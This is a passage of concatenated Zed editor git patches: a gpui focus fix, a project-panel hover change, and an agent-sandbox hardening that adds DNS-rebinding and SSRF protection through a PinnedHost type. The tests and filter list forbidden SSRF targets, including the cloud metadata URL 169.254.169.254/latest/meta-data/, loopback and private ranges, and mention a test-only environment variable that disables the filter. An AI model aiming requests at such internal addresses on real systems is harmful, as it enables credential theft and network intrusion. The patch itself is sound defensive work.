 crates/gpui/src/window.rs                     | 77 ++++++++++++++++++-
 crates/project_panel/src/project_panel.rs     | 10 ++-
 .../project_panel/src/project_panel_tests.rs  | 65 ++++++++++++++++
 3 files changed, 149 insertions(+), 3 deletions(-)

diff --git a/crates/gpui/src/window.rs b/crates/gpui/src/window.rs
index f08d347581b682..15193b3c78bd6b 100644
--- a/crates/gpui/src/window.rs
+++ b/crates/gpui/src/window.rs
@@ -2723,6 +2723,7 @@ impl Window {
         self.next_frame.clear();
         let current_focus_path = self.rendered_frame.focus_path();
         let current_window_active = self.rendered_frame.window_active;
+        let mut focus_before_listeners = self.focus;
 
         if previous_focus_path != current_focus_path
             || previous_window_active != current_window_active
@@ -2731,6 +2732,11 @@ impl Window {
                 self.focus_lost_listeners
                     .clone()
                     .retain(&(), |listener| listener(self, cx));
+                // The focus-lost fallback (e.g. a workspace refocusing itself) may target
+                // an element that isn't part of the element tree, in which case scheduling
+                // a redraw below would dispatch focus-lost again, looping forever. Only
+                // track focus movement caused by the focus listeners.
+                focus_before_listeners = self.focus;
             }
 
             let event = WindowFocusEvent {
@@ -2755,6 +2761,13 @@ impl Window {
         self.reset_cursor_style(cx);
         self.refreshing = false;
         self.invalidator.set_phase(DrawPhase::None);
+        // Focus listeners may move focus (e.g. a dock forwarding focus to its active
+        // panel). `Window::focus` suppresses `refresh` while a draw is in progress, so
+        // schedule another frame here to render the new focus state and dispatch the
+        // resulting focus events.
+        if self.focus != focus_before_listeners {
+            self.refresh();
+        }
         self.needs_present.set(true);
 
         if let Some(draw_start) = draw_started_at {
@@ -6380,8 +6393,9 @@ pub fn outline(
 #[cfg(test)]
 mod tests {
     use crate::{
-        AppContext as _, Bounds, Context, IntoElement, ParentElement as _, Pixels, Render,
-        Styled as _, TestAppContext, Window, canvas, div, px, size,
+        AppContext as _, Bounds, Context, FocusHandle, InteractiveElement as _, IntoElement,
+        ParentElement as _, Pixels, Render, Styled as _, TestAppContext, Window, canvas, div, px,
+        size,
     };
     use std::{cell::Cell, rc::Rc};
 
@@ -6449,4 +6463,63 @@ mod tests {
 
         assert_eq!(child_bounds.get().size, size(px(300.), px(200.)));
     }
+
+    struct FocusForwarder {
+        a: FocusHandle,
+        b: FocusHandle,
+    }
+
+    impl Render for FocusForwarder {
+        fn render(&mut self, _: &mut Window, _: &mut Context<Self>) -> impl IntoElement {
+            div()
+                .size_full()
+                .child(div().w(px(50.)).h(px(50.)).track_focus(&self.a))
+                .child(div().w(px(50.)).h(px(50.)).track_focus(&self.b))
+        }
+    }
+
+    /// When a focus listener moves focus again (e.g. a dock forwarding focus to its
+    /// active panel), the resulting focus events must be dispatched without waiting
+    /// for an unrelated redraw of the window.
+    #[gpui::test]
+    fn test_focus_moved_by_focus_listener_is_dispatched(cx: &mut TestAppContext) {
+        let b_focus_count = Rc::new(Cell::new(0));
+        let window = cx.add_window({
+            let b_focus_count = b_focus_count.clone();
+            move |window, cx| {
+                let a = cx.focus_handle();
+                let b = cx.focus_handle();
+                cx.on_focus(&a, window, |this: &mut FocusForwarder, window, cx| {
+                    let b = this.b.clone();
+                    window.focus(&b, cx);
+                })
+                .detach();
+                cx.on_focus(&b, window, move |_, _, _| {
+                    b_focus_count.set(b_focus_count.get() + 1);
+                })
+                .detach();
+                FocusForwarder { a, b }
+            }
+        });
+
+        window
+            .update(cx, |_, window, _| window.activate_window())
+            .unwrap();
+        cx.executor().run_until_parked();
+
+        window
+            .update(cx, |this, window, cx| {
+                let a = this.a.clone();
+                window.focus(&a, cx);
+            })
+            .unwrap();
+        cx.executor().run_until_parked();
+
+        window
+            .update(cx, |this, window, _| {
+                assert!(this.b.is_focused(window));
+            })
+            .unwrap();
+        assert_eq!(b_focus_count.get(), 1);
+    }
 }
diff --git a/crates/project_panel/src/project_panel.rs b/crates/project_panel/src/project_panel.rs
index e8c4bf2f63d936..b9bebf4249136e 100644
--- a/crates/project_panel/src/project_panel.rs
+++ b/crates/project_panel/src/project_panel.rs
@@ -74,8 +74,9 @@ use util::{
 };
 use workspace::{
     DraggedSelection, OpenInTerminal, OpenMode, OpenOptions, OpenVisible, PreviewTabsSettings,
-    SelectedEntry, SplitDirection, Workspace,
+    SelectedEntry, SplitDirection, Workspace, WorkspaceSettings,
     dock::{DockPosition, Panel, PanelEvent},
+    focus_follows_mouse::FocusFollowsMouse as _,
     notifications::{DetachAndPromptErr, NotifyResultExt, NotifyTaskExt},
 };
 use worktree::CreatedEntry;
@@ -7244,6 +7245,13 @@ impl Render for ProjectPanel {
                             div()
                                 .id("project-panel-blank-area")
                                 .block_mouse_except_scroll()
+                                // `block_mouse_except_scroll` prevents the dock's own
+                                // focus-follows-mouse hover handler from seeing this area,
+                                // so handle it here directly.
+                                .focus_follows_mouse(
+                                    WorkspaceSettings::get_global(cx).focus_follows_mouse,
+                                    cx,
+                                )
                                 .flex_grow_1()
                                 .on_scroll_wheel({
                                     let scroll_handle = self.scroll_handle.clone();
diff --git a/crates/project_panel/src/project_panel_tests.rs b/crates/project_panel/src/project_panel_tests.rs
index efc5a191b1ca69..3c6585cd746829 100644
--- a/crates/project_panel/src/project_panel_tests.rs
+++ b/crates/project_panel/src/project_panel_tests.rs
@@ -10979,6 +10979,71 @@ async fn run_create_file_in_folded_path_case(
     }
 }
 
+#[gpui::test]
+async fn test_focus_follows_mouse_into_blank_area(cx: &mut gpui::TestAppContext) {
+    init_test_with_editor(cx);
+    cx.update(|cx| {
+        cx.update_global::<SettingsStore, _>(|store, cx| {
+            store.update_user_settings(cx, |settings| {
+                settings.workspace.focus_follows_mouse = Some(settings::FocusFollowsMouse {
+                    enabled: Some(true),
+                    debounce_ms: Some(100),
+                });
+            });
+        });
+    });
+
+    let fs = FakeFs::new(cx.executor());
+    fs.insert_tree(path!("/root"), json!({ "a.txt": "" })).await;
+
+    let project = Project::test(fs.clone(), [path!("/root").as_ref()], cx).await;
+    let window = cx.add_window(|window, cx| MultiWorkspace::test_new(project.clone(), window, cx));
+    let workspace = window
+        .read_with(cx, |mw, _| mw.workspace().clone())
+        .unwrap();
+    let cx = &mut VisualTestContext::from_window(window.into(), cx);
+    let panel = workspace.update_in(cx, |workspace, window, cx| {
+        let panel = ProjectPanel::new(workspace, window, cx);
+        workspace.add_panel(panel.clone(), window, cx);
+        workspace.open_panel::<ProjectPanel>(window, cx);
+        panel
+    });
+    cx.run_until_parked();
+
+    workspace
+        .update_in(cx, |workspace, window, cx| {
+            let worktree_id = workspace.worktrees(cx).next().unwrap().read(cx).id();
+            let project_path = ProjectPath {
+                worktree_id,
+                path: rel_path("a.txt").into(),
+            };
+            workspace.open_path(project_path, None, true, window, cx)
+        })
+        .await
+        .unwrap();
+    cx.run_until_parked();
+
+    panel.update_in(cx, |panel, window, cx| {
+        assert!(
+            !panel.focus_handle(cx).is_focused(window),
+            "Editor should be focused after opening a file"
+        );
+    });
+
+    // Hover over the blank space below the last entry in the project panel,
+    // which lives in the right dock by default.
+    cx.simulate_mouse_move(point(px(1800.), px(600.)), None, Modifiers::none());
+    cx.executor().advance_clock(Duration::from_millis(200));
+    cx.run_until_parked();
+
+    panel.update_in(cx, |panel, window, cx| {
+        assert!(
+            panel.focus_handle(cx).is_focused(window),
+            "Project panel should be focused after hovering the blank area below the entries"
+        );
+    });
+}
+
 pub(crate) fn init_test(cx: &mut TestAppContext) {
     cx.update(|cx| {
         let settings_store = SettingsStore::test(cx);

From 795c44f61dd800cb5d6ba7b3a2ba0b1856a8850a Mon Sep 17 00:00:00 2001
From: Cameron Mcloughlin <cameron.studdstreet@gmail.com>
Date: Tue, 14 Jul 2026 16:29:30 +0100
Subject: [PATCH 452/772] agent: Sandbox DNS rebinding and redirect cleanup
 (#60941)

Tidies up the host resolution code a bit and closes some small gaps

---

Release Notes:

- N/A or Added/Fixed/Improved ...
---
 crates/agent/src/tools/fetch_tool.rs      |  93 +++++++
 crates/http_proxy/src/http_proxy.rs       |   2 +
 crates/http_proxy/src/pinned_host.rs      | 287 ++++++++++++++++++++++
 crates/http_proxy/src/proxy/connection.rs | 122 ++-------
 4 files changed, 404 insertions(+), 100 deletions(-)
 create mode 100644 crates/http_proxy/src/pinned_host.rs

diff --git a/crates/agent/src/tools/fetch_tool.rs b/crates/agent/src/tools/fetch_tool.rs
index cfe7792c9f144e..e08d7dbc59ebf1 100644
--- a/crates/agent/src/tools/fetch_tool.rs
+++ b/crates/agent/src/tools/fetch_tool.rs
@@ -166,6 +166,31 @@ impl FetchTool {
     }
 }
 
+/// Resolve the host of `url` and confirm it doesn't point into loopback /
+/// private / link-local space, applying the same forbidden-IP policy the
+/// terminal sandbox's proxy uses. Returns an error (including "resolves only to
+/// forbidden addresses") that aborts the fetch.
+///
+/// DNS resolution blocks, so callers should run this off the foreground thread.
+/// See the caller for why this is a gate rather than a full resolve-to-connect
+/// pin.
+fn verify_host_not_forbidden(url: &str) -> Result<()> {
+    let normalized = normalize_url(url);
+    let parsed =
+        url::Url::parse(&normalized).with_context(|| format!("could not parse URL {url:?}"))?;
+    let host = parsed
+        .host_str()
+        .with_context(|| format!("URL {url:?} has no host to reach"))?;
+    // Default to the scheme's port when the URL omits one; resolution needs a
+    // port but the value doesn't affect which IPs a host resolves to.
+    let port = parsed
+        .port_or_known_default()
+        .unwrap_or(if parsed.scheme() == "http" { 80 } else { 443 });
+
+    http_proxy::PinnedHost::resolve(host, port).map(|_pinned| ())?;
+    Ok(())
+}
+
 /// Extracts the host from a fetch URL as a [`http_proxy::HostPattern`] so it can
 /// be matched against the shared network grants. Mirrors the scheme handling in
 /// [`normalize_url`] (defaulting to `https://` when none is given).
@@ -276,6 +301,32 @@ impl AgentTool for FetchTool {
                             return Err("Fetch cancelled by user".to_string());
                         }
                     };
+
+                    // Authorizing the *hostname* is not enough: a granted host
+                    // (or a redirect to one) whose DNS points into loopback /
+                    // private / link-local space would otherwise let the model
+                    // reach the local machine or LAN (SSRF / DNS rebinding).
+                    // Resolve and vet the host now, applying the same
+                    // forbidden-IP policy the terminal sandbox's proxy enforces.
+                    //
+                    // NOTE: this is a gate, not a full pin. `HttpClientWithUrl`
+                    // resolves the hostname again when it connects, so a DNS
+                    // answer that flips between this check and that connect could
+                    // still slip through. Closing that residual window would
+                    // require the HTTP client to connect to a pre-vetted IP
+                    // (`PinnedHost::socket_addrs`) rather than re-resolving;
+                    // until then this blocks the realistic case of a stably
+                    // resolving host that points at forbidden space.
+                    let verify_task = cx.background_spawn({
+                        let url = current_url.clone();
+                        async move { verify_host_not_forbidden(&url) }
+                    });
+                    futures::select! {
+                        result = verify_task.fuse() => result.map_err(|e| e.to_string())?,
+                        _ = event_stream.cancelled_by_user().fuse() => {
+                            return Err("Fetch cancelled by user".to_string());
+                        }
+                    };
                 }
 
                 let fetch_task = cx.background_spawn({
@@ -312,3 +363,45 @@ impl AgentTool for FetchTool {
         })
     }
 }
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    // These use IP-literal URLs, which "resolve" to themselves, so the SSRF gate
+    // is exercised without depending on real DNS. IP literals can't be *granted*
+    // network access (that's a separate, earlier check), but they can be the
+    // target a granted hostname redirects to or resolves into — which is exactly
+    // the case this gate defends.
+
+    #[test]
+    fn verify_host_rejects_loopback_literal() {
+        let error = verify_host_not_forbidden("http://127.0.0.1/internal")
+            .expect_err("loopback must be refused");
+        assert!(
+            error.to_string().contains("loopback"),
+            "error should explain the forbidden range, got: {error}"
+        );
+    }
+
+    #[test]
+    fn verify_host_rejects_private_and_metadata_literals() {
+        for url in [
+            "http://10.0.0.5/",
+            "https://192.168.1.1/",
+            "http://169.254.169.254/latest/meta-data/", // cloud metadata
+            "http://[::1]/",
+        ] {
+            assert!(
+                verify_host_not_forbidden(url).is_err(),
+                "expected {url} to be refused as a forbidden destination"
+            );
+        }
+    }
+
+    #[test]
+    fn verify_host_allows_public_literal() {
+        verify_host_not_forbidden("https://93.184.215.14/")
+            .expect("a public address must be allowed through the gate");
+    }
+}
diff --git a/crates/http_proxy/src/http_proxy.rs b/crates/http_proxy/src/http_proxy.rs
index 1739d846c193cb..efed6140970d68 100644
--- a/crates/http_proxy/src/http_proxy.rs
+++ b/crates/http_proxy/src/http_proxy.rs
@@ -47,9 +47,11 @@
 //! would see from a direct network failure, no proxy fingerprint.
 
 mod allowlist;
+mod pinned_host;
 mod proxy;
 
 pub use allowlist::{Allowlist, HostPattern, HostPatternError};
+pub use pinned_host::{PinnedHost, PinnedHostError, is_forbidden_ip};
 pub use proxy::{
     DenyReason, ProxyConfig, ProxyEvent, ProxyHandle, RequestMethod, RequestOutcome, UpstreamProxy,
 };
diff --git a/crates/http_proxy/src/pinned_host.rs b/crates/http_proxy/src/pinned_host.rs
new file mode 100644
index 00000000000000..9443e9629cb881
--- /dev/null
+++ b/crates/http_proxy/src/pinned_host.rs
@@ -0,0 +1,287 @@
+//! A resolved-and-vetted network destination, pinned to the exact IP addresses
+//! that were checked.
+//!
+//! DNS rebinding / SSRF is a time-of-check-to-time-of-use hazard: code that
+//! resolves a hostname, decides it's safe, and then hands the *hostname* back to
+//! something that resolves it *again* has checked one answer and used another. A
+//! hostname that the sandbox distrusts can exploit that window to point a
+//! "granted" host at loopback, the LAN, or a cloud metadata endpoint.
+//!
+//! [`PinnedHost`] closes that window the way [`sandbox::HostFilesystemLocation`]
+//! does for filesystem paths: construction resolves the name and vets every
+//! address *once*, and the resulting value carries the checked addresses by
+//! value. The type is deliberately opaque — it never hands back the hostname for
+//! re-resolution — so the only way to "use" it is to connect to an address it
+//! already vetted. Re-deriving a destination from the hostname requires reaching
+//! for [`PinnedHost::untrusted_host_display`], whose name flags it as
+//! display-only, so the type system nudges callers away from reintroducing the
+//! TOCTOU.
+//!
+//! One `PinnedHost` describes **one** hostname's resolved addresses. A redirect
+//! chain that visits several hosts produces one `PinnedHost` per hop, each
+//! resolved and vetted independently at the moment its hop runs.
+
+use crate::allowlist::Allowlist;
+use std::collections::HashSet;
+use std::net::{IpAddr, Ipv4Addr, SocketAddr, ToSocketAddrs as _};
+
+/// Why pinning a host failed.
+#[derive(Debug, thiserror::Error)]
+pub enum PinnedHostError {
+    /// DNS resolution itself failed (or the host is malformed).
+    #[error("resolving {host}:{port}: {source}")]
+    Resolve {
+        host: String,
+        port: u16,
+        source: std::io::Error,
+    },
+    /// The host resolved, but to no addresses at all.
+    #[error("{host}:{port} did not resolve to any address")]
+    NoAddresses { host: String, port: u16 },
+    /// Every resolved address was in loopback / private / link-local space, so
+    /// there is nothing safe to connect to (DNS-rebinding protection).
+    #[error(
+        "{host} resolved only to loopback/private/link-local addresses, \
+         which the sandbox never reaches by hostname"
+    )]
+    AllAddressesForbidden { host: String },
+}
+
+/// A hostname whose DNS has been resolved and whose addresses have been vetted
+/// against the forbidden-IP policy, pinned to those exact addresses.
+///
+/// Construct with [`PinnedHost::resolve`] (applies the forbidden-IP filter) or
+/// [`PinnedHost::resolve_allowing_any`] (skips it, for the "allow any host"
+/// grant that means unrestricted egress). Use the pinned addresses via
+/// [`PinnedHost::socket_addrs`]; the hostname is available only via
+/// [`PinnedHost::untrusted_host_display`], which must never be fed back into a
+/// resolver.
+#[derive(Debug, Clone)]
+pub struct PinnedHost {
+    /// The vetted addresses, deduplicated. A set rather than a list because DNS
+    /// order carries no meaning here and duplicate answers (or duplicates across
+    /// A/AAAA records) should collapse — what matters is the set of endpoints we
+    /// concluded are safe to reach.
+    addrs: HashSet<SocketAddr>,
+    /// The requested host, kept **only** for display in errors/UI. Never
+    /// consulted to connect — treat it as untrusted, attacker-influenced text.
+    untrusted_host_for_display: String,
+}
+
+impl PinnedHost {
+    /// Resolve `host:port` and pin the subset of addresses that pass the
+    /// forbidden-IP filter. Fails if resolution fails, yields no addresses, or
+    /// yields only forbidden ones.
+    pub fn resolve(host: &str, port: u16) -> Result<Self, PinnedHostError> {
+        Self::resolve_inner(host, port, true)
+    }
+
+    /// Resolve `host:port` and pin **every** resolved address without applying
+    /// the forbidden-IP filter.
+    ///
+    /// This is for the "allow any host" grant (`allow_all_hosts` /
+    /// [`Allowlist::allows_any`]), which is unrestricted egress by definition —
+    /// including the local network and metadata endpoints. Callers that don't
+    /// hold such a grant must use [`PinnedHost::resolve`].
+    pub fn resolve_allowing_any(host: &str, port: u16) -> Result<Self, PinnedHostError> {
+        Self::resolve_inner(host, port, false)
+    }
+
+    /// Resolve against an [`Allowlist`], choosing the filtered or unfiltered path
+    /// based on whether the allowlist grants arbitrary egress.
+    pub fn resolve_for_allowlist(
+        host: &str,
+        port: u16,
+        allowlist: &Allowlist,
+    ) -> Result<Self, PinnedHostError> {
+        Self::resolve_inner(host, port, !allowlist.allows_any())
+    }
+
+    fn resolve_inner(host: &str, port: u16, vet: bool) -> Result<Self, PinnedHostError> {
+        let resolved =
+            (host, port)
+                .to_socket_addrs()
+                .map_err(|source| PinnedHostError::Resolve {
+                    host: host.to_string(),
+                    port,
+                    source,
+                })?;
+
+        let mut addrs = HashSet::new();
+        let mut saw_any = false;
+        for addr in resolved {
+            saw_any = true;
+            if vet && is_forbidden_ip(addr.ip()) {
+                continue;
+            }
+            addrs.insert(addr);
+        }
+
+        if !saw_any {
+            return Err(PinnedHostError::NoAddresses {
+                host: host.to_string(),
+                port,
+            });
+        }
+        if addrs.is_empty() {
+            return Err(PinnedHostError::AllAddressesForbidden {
+                host: host.to_string(),
+            });
+        }
+
+        Ok(Self {
+            addrs,
+            untrusted_host_for_display: host.to_string(),
+        })
+    }
+
+    /// The vetted addresses to connect to. Connecting to one of these — rather
+    /// than re-resolving the hostname — is what keeps the check and the use
+    /// pinned to the same answer.
+    pub fn socket_addrs(&self) -> impl ExactSizeIterator<Item = SocketAddr> + '_ {
+        self.addrs.iter().copied()
+    }
+
+    /// The requested host, for **display only** (errors, UI). This intentionally
+    /// returns the untrusted, as-requested hostname — never a vetted address. Do
+    /// not feed the result back into a resolver as if it identified this
+    /// destination.
+    pub fn untrusted_host_display(&self) -> &str {
+        &self.untrusted_host_for_display
+    }
+}
+
+/// Whether a resolved address is in loopback / private / link-local space —
+/// destinations a hostname allowlist must never reach. The OS sandbox already
+/// blocks them for direct connections from the sandbox; code running outside the
+/// sandbox (the proxy, the fetch tool) must not reopen them.
+pub fn is_forbidden_ip(ip: IpAddr) -> bool {
+    // Escape hatch for the NixOS sandbox integration tests only: their echo
+    // servers live on the VM's private network, which this filter would
+    // otherwise reject. It is compiled in ONLY under the
+    // `nixos-integration-tests` feature (enabled via `sandbox/nixos-test` when
+    // building `bwrap_test_helper`), so in a real Zed build the env var has no
+    // effect and cannot disable DNS-rebinding/SSRF protection.
+    #[cfg(feature = "nixos-integration-tests")]
+    if std::env::var_os("ZED_SANDBOX_PROXY_ALLOW_LOCAL_IPS").is_some() {
+        return false;
+    }
+    match ip {
+        IpAddr::V4(v4) => is_forbidden_ipv4(v4),
+        IpAddr::V6(v6) => {
+            if let Some(v4) = v6.to_ipv4_mapped() {
+                return is_forbidden_ipv4(v4);
+            }
+            v6.is_loopback()
+                || v6.is_unspecified()
+                // Link-local (fe80::/10) and unique-local (fc00::/7); the
+                // dedicated `is_unicast_link_local` / `is_unique_local`
+                // methods are not yet stable.
+                || (v6.segments()[0] & 0xffc0) == 0xfe80
+                || (v6.segments()[0] & 0xfe00) == 0xfc00
+        }
+    }
+}
+
+fn is_forbidden_ipv4(ip: Ipv4Addr) -> bool {
+    let octets = ip.octets();
+    ip.is_loopback()
+        || ip.is_private()
+        || ip.is_link_local() // includes 169.254.169.254 cloud metadata
+        || ip.is_unspecified()
+        || ip.is_broadcast()
+        // Shared address space (RFC 6598, 100.64.0.0/10): CGNAT, and notably
+        // Tailscale-style overlay networks.
+        || (octets[0] == 100 && (octets[1] & 0xc0) == 64)
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn forbidden_ip_covers_v4_ranges() {
+        for ip in [
+            "127.0.0.1",
+            "10.0.0.1",
+            "192.168.1.1",
+            "172.16.0.1",
+            "169.254.169.254", // cloud metadata
+            "0.0.0.0",
+            "255.255.255.255",
+            "100.64.0.1", // CGNAT / Tailscale
+        ] {
+            assert!(
+                is_forbidden_ip(ip.parse().unwrap()),
+                "expected {ip} to be forbidden"
+            );
+        }
+    }
+
+    #[test]
+    fn forbidden_ip_covers_v6_ranges() {
+        for ip in [
+            "::1",              // loopback
+            "::",               // unspecified
+            "fe80::1",          // link-local
+            "fc00::1",          // unique-local
+            "::ffff:127.0.0.1", // IPv4-mapped loopback
+            "::ffff:10.0.0.1",  // IPv4-mapped private
+        ] {
+            assert!(
+                is_forbidden_ip(ip.parse().unwrap()),
+                "expected {ip} to be forbidden"
+            );
+        }
+    }
+
+    #[test]
+    fn public_ips_are_allowed() {
+        for ip in [
+            "93.184.215.14",
+            "8.8.8.8",
+            "2606:2800:220:1:248:1893:25c8:1946",
+        ] {
+            assert!(
+                !is_forbidden_ip(ip.parse().unwrap()),
+                "expected {ip} to be allowed"
+            );
+        }
+    }
+
+    #[test]
+    fn resolve_pins_public_literal_addresses() {
+        // An IP literal "resolves" to itself, so this exercises the vetting and
+        // pinning without depending on real DNS.
+        let pinned = PinnedHost::resolve("93.184.215.14", 443).expect("public IP should pin");
+        let addrs: HashSet<SocketAddr> = pinned.socket_addrs().collect();
+        assert_eq!(addrs, HashSet::from(["93.184.215.14:443".parse().unwrap()]));
+        assert_eq!(pinned.untrusted_host_display(), "93.184.215.14");
+    }
+
+    #[test]
+    fn resolve_rejects_forbidden_literal_address() {
+        let error = PinnedHost::resolve("127.0.0.1", 80).expect_err("loopback must be rejected");
+        assert!(matches!(
+            error,
+            PinnedHostError::AllAddressesForbidden { .. }
+        ));
+    }
+
+    #[test]
+    fn resolve_allowing_any_keeps_forbidden_addresses() {
+        let pinned =
+            PinnedHost::resolve_allowing_any("127.0.0.1", 80).expect("allow-any keeps loopback");
+        let addrs: HashSet<SocketAddr> = pinned.socket_addrs().collect();
+        assert_eq!(addrs, HashSet::from(["127.0.0.1:80".parse().unwrap()]));
+    }
+
+    #[test]
+    fn resolve_deduplicates_addresses() {
+        // `localhost` typically resolves to both 127.0.0.1 and ::1; under
+        // allow-any both are kept and distinct. This mainly guards that the set
+        // collapses exact duplicates rather than the specific addresses.
+        let pinned = PinnedHost::resolve_allowing_any("127.0.0.1", 80).unwrap();
+        assert_eq!(pinned.socket_addrs().count(), 1);
+    }
+}
diff --git a/crates/http_proxy/src/proxy/connection.rs b/crates/http_proxy/src/proxy/connection.rs
index 06ae8ea73d02d2..98858357c30956 100644
--- a/crates/http_proxy/src/proxy/connection.rs
+++ b/crates/http_proxy/src/proxy/connection.rs
@@ -11,13 +11,14 @@
 //! client sends on it cannot escape the policy decision. Per-TCP-connection
 //! event granularity, by design.
 
+use crate::pinned_host::{PinnedHost, PinnedHostError};
 use crate::proxy::{
     DenyReason, ProxyEvent, RequestMethod, RequestOutcome, RuntimeState, UpstreamProxy,
 };
 use anyhow::{Context, Result, anyhow, bail};
 use base64::Engine as _;
 use std::io::{Read, Write};
-use std::net::{IpAddr, Ipv4Addr, Shutdown, SocketAddr, TcpStream, ToSocketAddrs as _};
+use std::net::{IpAddr, Shutdown, SocketAddr, TcpStream, ToSocketAddrs as _};
 #[cfg(unix)]
 use std::os::unix::net::UnixStream;
 use std::sync::Arc;
@@ -428,8 +429,9 @@ fn policy_denial(host: &str, port: u16, state: &RuntimeState) -> Option<DenyReas
 
 /// How an approved request will reach its destination.
 enum Route {
-    /// Connect directly to one of these resolved-and-vetted addresses.
-    Direct(Vec<SocketAddr>),
+    /// Connect directly to one of the addresses pinned when the host was
+    /// resolved and vetted.
+    Direct(PinnedHost),
     /// Tunnel through the upstream proxy with a CONNECT handshake.
     ViaUpstream(UpstreamProxy),
 }
@@ -460,76 +462,17 @@ fn plan_route(host: &str, port: u16, state: &RuntimeState) -> Result<Route, Rout
         return Ok(Route::ViaUpstream(upstream.clone()));
     }
 
-    let resolved: Vec<SocketAddr> = (host, port)
-        .to_socket_addrs()
-        .map_err(|error| RouteFailure::Error(anyhow!("resolving {host}:{port}: {error}")))?
-        .collect();
-    if resolved.is_empty() {
-        return Err(RouteFailure::Error(anyhow!(
-            "{host}:{port} did not resolve to any address"
-        )));
-    }
-
-    let vetted: Vec<SocketAddr> = if state.allowlist.allows_any() {
-        resolved
-    } else {
-        resolved
-            .into_iter()
-            .filter(|addr| !is_forbidden_ip(addr.ip()))
-            .collect()
-    };
-    if vetted.is_empty() {
-        return Err(RouteFailure::Denied(DenyReason::ResolvedToForbiddenIp {
-            host: host.to_string(),
-        }));
-    }
-    Ok(Route::Direct(vetted))
-}
-
-/// Whether a resolved address is in loopback / private / link-local space —
-/// destinations a hostname allowlist must never reach. The Seatbelt rule
-/// already blocks them for direct connections from the sandbox; the proxy
-/// (which runs outside the sandbox) must not reopen them.
-fn is_forbidden_ip(ip: IpAddr) -> bool {
-    // Escape hatch for the NixOS sandbox integration tests only: their echo
-    // servers live on the VM's private network, which this filter would
-    // otherwise reject. It is compiled in ONLY under the
-    // `nixos-integration-tests` feature (enabled via `sandbox/nixos-test` when
-    // building `bwrap_test_helper`), so in a real Zed build the env var has no
-    // effect and cannot disable DNS-rebinding/SSRF protection.
-    #[cfg(feature = "nixos-integration-tests")]
-    if std::env::var_os("ZED_SANDBOX_PROXY_ALLOW_LOCAL_IPS").is_some() {
-        return false;
-    }
-    match ip {
-        IpAddr::V4(v4) => is_forbidden_ipv4(v4),
-        IpAddr::V6(v6) => {
-            if let Some(v4) = v6.to_ipv4_mapped() {
-                return is_forbidden_ipv4(v4);
-            }
-            v6.is_loopback()
-                || v6.is_unspecified()
-                // Link-local (fe80::/10) and unique-local (fc00::/7); the
-                // dedicated `is_unicast_link_local` / `is_unique_local`
-                // methods are not yet stable.
-                || (v6.segments()[0] & 0xffc0) == 0xfe80
-                || (v6.segments()[0] & 0xfe00) == 0xfc00
+    match PinnedHost::resolve_for_allowlist(host, port, &state.allowlist) {
+        Ok(pinned) => Ok(Route::Direct(pinned)),
+        Err(PinnedHostError::AllAddressesForbidden { host }) => {
+            Err(RouteFailure::Denied(DenyReason::ResolvedToForbiddenIp {
+                host,
+            }))
         }
+        Err(error) => Err(RouteFailure::Error(anyhow!(error))),
     }
 }
 
-fn is_forbidden_ipv4(ip: Ipv4Addr) -> bool {
-    let octets = ip.octets();
-    ip.is_loopback()
-        || ip.is_private()
-        || ip.is_link_local() // includes 169.254.169.254 cloud metadata
-        || ip.is_unspecified()
-        || ip.is_broadcast()
-        // Shared address space (RFC 6598, 100.64.0.0/10): CGNAT, and notably
-        // Tailscale-style overlay networks.
-        || (octets[0] == 100 && (octets[1] & 0xc0) == 64)
-}
-
 fn handle_connect(
     mut client: ClientStream,
     host: String,
@@ -726,7 +669,13 @@ fn handle_http_forward(
 /// handshake with the CONNECT path.
 fn open_route(route: &Route, host: &str, port: u16) -> Result<(TcpStream, Vec<u8>)> {
     match route {
-        Route::Direct(addrs) => Ok((connect_to_any(addrs, host, port)?, Vec::new())),
+        Route::Direct(pinned) => {
+            // Connect to the addresses pinned when the host was vetted, never
+            // re-resolving `host` here — that re-resolution is exactly the
+            // DNS-rebinding window `PinnedHost` exists to close.
+            let addrs: Vec<SocketAddr> = pinned.socket_addrs().collect();
+            Ok((connect_to_any(&addrs, host, port)?, Vec::new()))
+        }
         Route::ViaUpstream(upstream) => connect_via_upstream(host, port, upstream),
     }
 }
@@ -984,7 +933,8 @@ mod tests {
     fn plan_route_allows_loopback_when_allowlist_allows_any() {
         let state = runtime_state(Allowlist::any());
         match plan_route("localhost", 80, &state) {
-            Ok(Route::Direct(addrs)) => {
+            Ok(Route::Direct(pinned)) => {
+                let addrs: Vec<SocketAddr> = pinned.socket_addrs().collect();
                 assert!(!addrs.is_empty());
                 assert!(addrs.iter().all(|addr| addr.ip().is_loopback()));
             }
@@ -1077,35 +1027,7 @@ mod tests {
         assert!(!is_ip_literal("localhost"));
     }
 
-    #[test]
-    fn forbidden_ips_cover_local_space() {
-        for forbidden in [
-            "127.0.0.1",
-            "10.1.2.3",
-            "172.16.0.1",
-            "192.168.1.1",
-            "169.254.169.254",
-            "100.100.1.1",
-            "0.0.0.0",
-            "::1",
-            "::",
-            "fe80::1",
-            "fd00::1",
-            "::ffff:127.0.0.1",
-            "::ffff:10.0.0.1",
-        ] {
-            assert!(
-                is_forbidden_ip(forbidden.parse().unwrap()),
-                "{forbidden} should be forbidden"
-            );
-        }
-        for public in ["140.82.112.3", "8.8.8.8", "2606:4700::6810:84e5"] {
-            assert!(
-                !is_forbidden_ip(public.parse().unwrap()),
-                "{public} should be allowed"
-            );
-        }
-    }
+    // Forbidden-IP range coverage lives with the logic in `pinned_host.rs`.
 
     #[test]
     fn parsed_request_recognizes_connect() {

From e9d6cd2f053a14f884dafc5a5654ec0cdf521258 Mon Sep 17 00:00:00 2001
From: Mikayla Maki <mikayla@zed.dev>
Date: Tue, 14 Jul 2026 08:34:30 -0700
Subject: [PATCH 453/772] Open gitignored subdirectories as their own workspace
 (#60918)

# Objective

Let's git ignored directories be opened as their own project


## Solution

- Add an "ignored dir" carve out when checking project collision

## Testing

- Added tests

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [-] Unsafe blocks (if any) have justifying comments
- [-] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [-] Performance impact has been considered and is acceptable

---

Release Notes:

-
---
 crates/project/src/project.rs                 | 30 ++++---
 .../tests/integration/project_tests.rs        | 68 ++++++++++++++
 crates/worktree/src/worktree.rs               | 11 +++
